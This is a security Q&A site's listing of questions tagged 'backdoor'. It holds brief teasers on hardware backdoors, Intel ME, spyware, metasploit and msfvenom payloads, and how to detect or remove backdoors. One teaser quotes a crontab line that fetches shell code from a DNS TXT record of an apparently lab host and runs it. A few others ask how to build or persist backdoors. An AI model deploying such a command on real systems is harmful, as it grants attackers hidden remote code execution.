Questions tagged [backdoor]

A backdoor is a method of bypassing normal authentication, securing illegal remote access to a computer while attempting to remain undetected.

Filter by
Sorted by
Tagged with
0 votes
0 answers
3 views

Can an Azure template contain a virus, a backdoor or malware?

Sometimes you can find projects on the internet that can propose you to import a template to Azure, like this one. You have a button and if you click it allows you to deploy: Then you go through the ...
Francesco Mantovani's user avatar
0 votes
1 answer
52 views

How can the Beef Tool be used? [closed]

Can the hijacked browser's history and saved information be viewed? Is it possible to create a backdoor in the browser? In other words, can it be secretly redirected to any site or downloaded and ...
lkk4325's user avatar
0 votes
0 answers
38 views

Understanding how keying works in payload creation

I'm reading this article, https://www.mdsec.co.uk/2022/05/nighthawk-0-2-catch-us-if-you-can/ In the payload generation it has a keyring strategy. I couldn't understand what keying do here. Is the ...
daisy's user avatar
  • 2,067
0 votes
1 answer
316 views

Which Intel CPUs do not have Management Engine (ME) [duplicate]

The Intel Management Engine (ME) is a security risk which I would prefer not to take. I do not trust it, it seems to be a backdoor, and there are reported vulnerabilities on it. I do not trust the ...
user5623335's user avatar
0 votes
0 answers
3k views

Decrypting Browser Cookies

So I am trying to write my own backdoor with python and it is something like Metaploit, where you can run a single command and it would do the work for you, so I am trying to implement a cookie ...
LuckyCoder3607's user avatar
26 votes
6 answers
13k views

Spying on a smartphone remotely by the authorities: feasibility and operation

French lawmakers agreed to a justice reform bill that includes a provision granting police the power to remotely activate suspects' geolocation, microphone and camera (source). Following the senators, ...
Yann Rimbaud's user avatar
2 votes
2 answers
259 views

Is it plausible that NSO Group's 0-click attacks are actually bugdoors?

By bugdoors, I mean OS/app devs deliberately introducing vulnerabilities & sharing with front orgs like the NSO Group which then develops and markets the spyware? Would this process be easier ...
TheReal_Skywalker's user avatar
1 vote
2 answers
927 views

How payloads provide backdoors when the victims are out of local network [duplicate]

I am a newbie in cyber security and trying to learn how payloads provide backdoors when the victims are out of the local network. I know that metasploit is a good tool for making payloads, and using ...
Not a Salmon Fish's user avatar
-1 votes
2 answers
576 views

How to backdoor windows?

Studing pentest, I was astonished by how easy it was to backdoor a Linux machine after I got root. I just needed to compile a program like this: #define _GNU_SOURCE #include <stdlib.h> #include &...
psico_disk's user avatar
2 votes
1 answer
121 views

Does it matter what nameserver is queried for TXT records?

I found this backdoor in a crontab: * * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)" And if i understood correctly, it queries all the TXT records in the domain ...
idontknowwhatggww's user avatar
0 votes
2 answers
269 views

What's so bad about including "backdoors" to a Website?

I have a fundamental question about the harm of leaving a backdoor in one of my public websites / plattforms. I do not want to discuss the details why I wanted to do that, I just want to understand ...
tim's user avatar
  • 851
1 vote
2 answers
183 views

What ways other than password and authorized SSH key are there to log in to a Linux system?

When deleting a user on a Linux system, if you lock their password and kill all their processes, a logged in user disconnects and can't log in with his password anymore. But if they still have an ...
lolz's user avatar
  • 11
0 votes
0 answers
146 views

What is the steps to be taken when you suspect a linux malware has infected your computer?

Using Linux is a different beast entirely but sometimes malware can blend as seemingly harmless system binaries like this post Bpfdoor Like this post which documents a highly evasive Linux malware. ...
geek's user avatar
  • 109
0 votes
0 answers
1k views

How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?

How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is Sqlmap uploading it and is the file just a normal reverse shell trojan? Also, is it still anonymous when ...
UndercoverDog's user avatar
0 votes
1 answer
145 views

Is creating a backdoor without specifying an IP possible?

Is it possible to create a backdoor without configuring an IP? For example, if I want to create a listener that everyone can access, what can I do? Something like a backdoor, RAT or something like ...
jjnounde's user avatar
0 votes
1 answer
318 views

How can a backdoor install a Chrome extension?

I read this: https://duo.com/decipher/malicious-chrome-extension-backdoor-uncovered-in-malware-campaign#:~:text=One%20of%20these%20is%20a,system%20and%20installing%20the%20extension. I quote this part ...
Y K's user avatar
  • 1
0 votes
2 answers
152 views

When a backdoor is installed in a device, does it become vulnerable to 'everyone', or only to the attacker?

I'm running tests on my devices. But I'm scared that by doing this, I will make my devices vulnerable. If I executed a backdoor sent to me (being an app with a payload on it, or doc, or email, etc), ...
Jhon Baptist's user avatar
1 vote
0 answers
250 views

How can I know if phone is already infected?

Last year, my friend who is learning hacking for nearly 3 years hacked my phone using social engineering by installing some malware in my phone. (After researching on Google, I think it might be a ...
Enthalpy127's user avatar
0 votes
1 answer
496 views

SSD supports hardware AES encrytion. hdparm does not report a "Security" section. Should I be concerned?

Note that this is a different case from similar question asked 7 years ago, here: hparm -I /dev/sda does not report a Security section - should I be concerned? In my case the SSD (part number: ...
kalabic's user avatar
0 votes
0 answers
240 views

Feasibility of CPU Backdoors

Recently I was thinking of the feasibility of hardware backdoors in the CPU introduced by manufacturers at the behest of three letter agencies. I can think of two potential backdoors that seem ...
RubberbandMan's user avatar
1 vote
2 answers
398 views

Is Zircon kernel (from Fuchsia OS) safer by being a microkernel?

Fuchsia's possible Android replacement uses the Zircon microkernel. This means that the drivers should run in userspace. Is this an advantage over Android? For example, closed source drivers now can't ...
Rafaelo's user avatar
  • 31
1 vote
0 answers
351 views

Is this javascript code malicious? [closed]

a friend visited this site: h-t-t-p-s://adidastore.buzz/adidass/tb.php?_t=1614958342 I malformed the url so no one accidently clicks on it Below is the code the site is serving. I don't know ...
Amo's user avatar
  • 11
2 votes
1 answer
195 views

Found a backdoor and multiple trojans in a computer. Is the hacker doing everything manually? [closed]

So I found a backdoor, multiple trojans and crypto miners in a client's PC. He is worried that his personal information has been compromised. What happened: During the installation of Kaspersky anti-...
paternostrox's user avatar
0 votes
2 answers
405 views

How do I know that the ISO image of the Linux distribution I have downloaded does not contain the NSA backdoor?

I have downloaded the ISO image of Kubuntu 20.10 and installed it. I am afraid that the ISO image may have been tainted (for example, by the NSA) to insert a backdoor into it. As I see it, there are ...
robertspierre's user avatar
20 votes
7 answers
7k views

Don't one-time recovery codes for 2FA introduce a backdoor?

Although using multi-factor authentication is clearly a good move, I'm struggling with the 'one-time recovery codes' concept. It seems to me that if you choose to use them, what you're doing is ...
Pendantry's user avatar
  • 317
-1 votes
1 answer
186 views

Why governments use spywares instead of just redirecting traffic to their own servers by announcing a new path on BGP?

I was reading about The Hacking Team on Wikipedia. It produces "offensive intrusion and surveillance capabilities" and sells it to "to governments, law enforcement agencies". Its ...
robertspierre's user avatar
1 vote
1 answer
402 views

Step by step protocol for complete system wipe (suspecting persistent backdoor)

I have reason to believe that there is a persistent backdoor on my device, one which is not removed after a re installation of the OS. I wanted to know the step by step protocol of system wipe to ...
joshnow's user avatar
  • 15
41 votes
5 answers
9k views

How can you trust that there is no backdoor in your hardware?

We know that Intel processors have one (ME) so it is definitely possible. In general, how could you even trust a piece of hardware like a CPU or network card, even if the manufacturer says there is no ...
MasterYi's user avatar
  • 413
0 votes
2 answers
546 views

How to close or block remote access backdoors?

I've been reading about famous hacking groups targeting law firms, corporations and individuals. They always use remote access backdoors to get into a victim's computer or phone and lock the system ...
kit's user avatar
  • 29
0 votes
1 answer
2k views

metasploit: how to use linux/http/webmin_backdoor

I am trying to gain access to a server using CVE-2019-15107 with help of metasploit. I tried to find examples of its usage, but I found none. My machines ip is 192.168.109.133. I am connected to a vpn ...
Mr Krisey's user avatar
0 votes
1 answer
128 views

WordPress script injections [duplicate]

I manage an Ubuntu server that runs a number of WordPress sites. This morning one of them went down and was showing the exception PHP Fatal error: Namespace declaration statement has to be the very ...
PiX06's user avatar
  • 101
0 votes
4 answers
6k views

Can remote control still take place during Windows session lock?

I was AFK from my Windows 10 machine, without locking it, and came back to an active TeamViewer session and someone remotely performing a PayPal donation. I do not have TeamViewer installed. I'll ...
drake035's user avatar
  • 473
-1 votes
1 answer
174 views

How to detect software and hardware impairment? [closed]

How can I know if a pc has a backdoor in bios, and how to know if there is an hardware malicious impairment?
john's user avatar
  • 3
0 votes
0 answers
327 views

How to add session cookie in weevely?

I am pentesting a website and I was successful in uploading a php backdoor and finding the path of the backdoor. The only issue is that in order to gain access to the uploaded file I need to be logged ...
fnsdb's user avatar
  • 1
0 votes
0 answers
691 views

Reverse shell from backdoor - exposing attacker? [duplicate]

If an attacker successfully installed a backdoor that connects to his computer via a reverse shell, how can the attacker hide his IP address? I'd guess he can't use Tor or a VPN, because packet ...
Hordeon12's user avatar
0 votes
1 answer
190 views

Static detection of PE

I'm doing in static analysis of PE file. Can PE file have two or more executable sections? How can we detect whether it is injected or not?
EsH Harshana's user avatar
1 vote
0 answers
56 views

static analysis for identifying backdoors in PE [duplicate]

I am doing research in identifying backdoors in Windows .exe files. Currently I found some methods to detect them: String search in .exe Find reference .dll and win32 API calls using import table ...
EsH Harshana's user avatar
4 votes
0 answers
232 views

Security implications of using unfused U2F token

I noticed that both of the Feitian USB/NFC U2F Security Keys I purchased on Amazon a few years ago are unfused. This means that the pre-personalization step was partially performed but not completed ...
Robert Quattlebaum's user avatar
1 vote
0 answers
398 views

Is it possible to debunk Intel Management Engine conspiracy theories using a data usage monitor device?

If there would be any backdoor in recent Intel CPU's, then it should send and receive data secretly. Isn't it possible to easily debunk this conspiracy theory by implementing a third physical device ...
Steve's user avatar
  • 139
0 votes
0 answers
499 views

msfvenom: backdoored apk

I am using msfvenom to backdoor an Android apk. It is supposed that msfvenom adds extra permissions to original AndroidManifest: [*] Poisoning the manifest with meterpreter permissions.. [*] Adding &...
elena.bdc's user avatar
1 vote
0 answers
351 views

How can access to Intel ME / AMT be disabled with firewall? [duplicate]

Short of flashing BIOS, there seems to be no way to disable the Intel ME. So, is there a reliable way to block access to Intel ME, such using HW firewall (Firewall in front of the machine, not ...
Martin Vegter's user avatar
0 votes
2 answers
607 views

Unable to execute PHP, throws 500 error. Able to upload and execute all others

I managed to upload a PHP shell using an upload form with some tweaking. No such restrictions except it renames the uploaded file to md5. But when I tried to execute the shell, It shows a 500 error. I ...
Marcus Adeao's user avatar
2 votes
1 answer
194 views

Were software "CD key" schemes backdoored or simply misdesigned?

Back in the day, retail software was shipped on physical CDs that often had a printed "CD key" label affixed. The (usually alphanumeric) key on the label was unique to that particular copy of the ...
smitelli's user avatar
  • 2,085
1 vote
1 answer
309 views

Backdooring PE binary compiled with ASLR

I'm practicing backdooring PE binary compiled with ASLR in a WOW64 environment. The approach is pretty straightforward and basically is something like this: Find code cave and a hijacking point. In ...
Kartone's user avatar
  • 171
0 votes
0 answers
2k views

How to make metasploit backdoor persistent in Android?

I created a payload with msfvenom and installed it on Android smartphone, but after a reboot or long time without use, it stops working, because the OS kills the process. Is there any way to ...
mrlucasrib's user avatar
2 votes
1 answer
3k views

Did ZTE put a backdoor in my router? How can I remove it?

I have a ZTE router model ZXHN H198A. Recently, upon connecting to it with Telnet (with some default username-password, of course), I decided to go around the filesystem. Then I noticed that they ...
Terrance's user avatar
1 vote
1 answer
410 views

Is there a "no-spy, no-backdoors standard" for telecom hardware manufacturing?

The BBC News article Huawei says willing to sign 'no-spy' agreements reports the following: Huawei has also said it is independent from the Chinese government, but some countries have blocked it from ...
uhoh's user avatar
  • 1,415
38 votes
3 answers
7k views

Does Lawful Interception of 4G / the proposed 5G provide a back door for hackers as well?

A common saying among people in the field of cryptography and security is that when providing a back door to law enforcement, you also provide a back door for hackers. I was trying to examine the ...
finks's user avatar
  • 467
-1 votes
1 answer
3k views

How to find out which application runs behind port 31337?

I found an open port on a "Kartina Quattro" (https://www.kartina.tv/article/247-kartina-quattro). It's a device for watching russian TV channels. The port number is 31337 and the Service is called ...
SunnySide's user avatar
1 vote
1 answer
244 views

How could the Chinese Communications Authority find a backdoor on my website?

I host a legacy HTTP website on my own hardware in China. It was attacked due to the Struts file upload flaw last month. But yesterday, Communications Authority in my province alarmed me, there is ...
someone's user avatar
  • 19

1
2 3 4 5